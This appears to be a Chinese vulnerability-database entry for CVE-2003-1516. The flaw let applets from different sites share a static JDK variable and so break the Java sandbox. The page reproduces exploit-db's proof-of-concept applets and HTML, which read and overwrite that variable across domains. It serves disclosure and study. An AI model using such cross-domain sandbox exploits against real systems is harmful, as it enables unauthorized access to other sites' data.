Sun Java跨站Applet Sandbox安全模型冲突漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1107520 漏洞类型 设计错误
发布时间 2003-10-20 更新时间 2003-12-31
CVE编号 CVE-2003-1516 CNNVD-ID CNNVD-200312-166
漏洞平台 Windows CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/23265
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200312-166
|漏洞详情
SunJava2SDK是一款Java实现平台。SunJava实现存在一个漏洞,允许JavaApplet违反sandbox安全模型,读/写访问不同域中数据。来自不同站点的跨站(Cross-Site)applet可通过未文档化JDK静态变量共享数据域。当更改这些变量JDK内部状态会遭到破坏和部分功能不正常。这尤其牵涉到依靠org.apache.xalan.processor.XSLProcessorVersion类进行XML处理时,会导致对sandbox安全模型冲突,使未标记applet能未授权访问标记applet使用的数据。
|漏洞EXP
source: http://www.securityfocus.com/bid/8857/info

A vulnerability has been reported in Java implementations that may potentially allow Java applets from two different domains to violate the sandbox security model and share read/write access to data areas. This violates the principle of isolation that should be enforced by Java and it is possible for unsigned applets to gain unauthorized access to data used by signed applets.

This issue was reported for Java Plug-in 1.4.2_01 on Microsoft Windows platforms, though it is believed that other platforms are similarly affected. It is not known if other versions or Java implementations are also affected.

Two applets,
- one on siteA: www.siteA.org => Read.html / ReadApplet.class
- one on siteB: www.siteB.org => Write.html / WriteApplet.class

Applet from siteB can share a variable also accessible (read and write)
which is used by siteA. So data protection is not guaranteed, an unsigned
applet may grab data stored in this variable by a signed applet
or interfere it's XML processing and therefore violates the isolation
restriction of the sandbox.

==========READAPPLET=========================
/* Illegalaccess.org java exploit */
/* coded by Marc Schoenefeld */

import java.awt.Graphics;

public class ReadApplet extends java.applet.Applet {

public void paint(Graphics g)
{

System.out.println(org.apache.xalan.processor.XSLProcessorVersion.S_VERSION);
}

static {

System.out.println(org.apache.xalan.processor.XSLProcessorVersion.S_VERSION);
}
}
==========READAPPLET=========================

==========WRITEAPPLET=========================
import java.awt.Graphics;


public class WriteApplet extends java.applet.Applet {
public void paint(Graphics g)
{
org.apache.xalan.processor.XSLProcessorVersion.S_VERSION += "a";
}


static {
org.apache.xalan.processor.XSLProcessorVersion.S_VERSION = "altered
from
SiteA";
}
}
==========WRITEAPPLET=========================


=========Write.html============================
<HTML>
<BODY BGCOLOR=#66FF66>
<PRE>
WriteApplet, write to variable
Marc (marc@org.illegalaccess)
</PRE>
<applet codebase=. code=WriteApplet.class width=100 height=100>
</applet>
</BODY>
</HTML>

========Read.html=============================
<HTML>
<BODY BGCOLOR=#6666FF>
<PRE>
ReadApplet, read from variable
Marc (marc@org.illegalaccess)
</PRE>
<applet codebase=. code=ReadApplet.class width=100 height=100>
</applet>
</BODY>
</HTML>
|参考资料

来源:BID
名称:8857
链接:http://www.securityfocus.com/bid/8857
来源:BUGTRAQ
名称:20031020CrossSiteJavaapplets
链接:http://www.securityfocus.com/archive/1/341815
来源:NSFOCUS
名称:5566
链接:http://www.nsfocus.net/vulndb/5566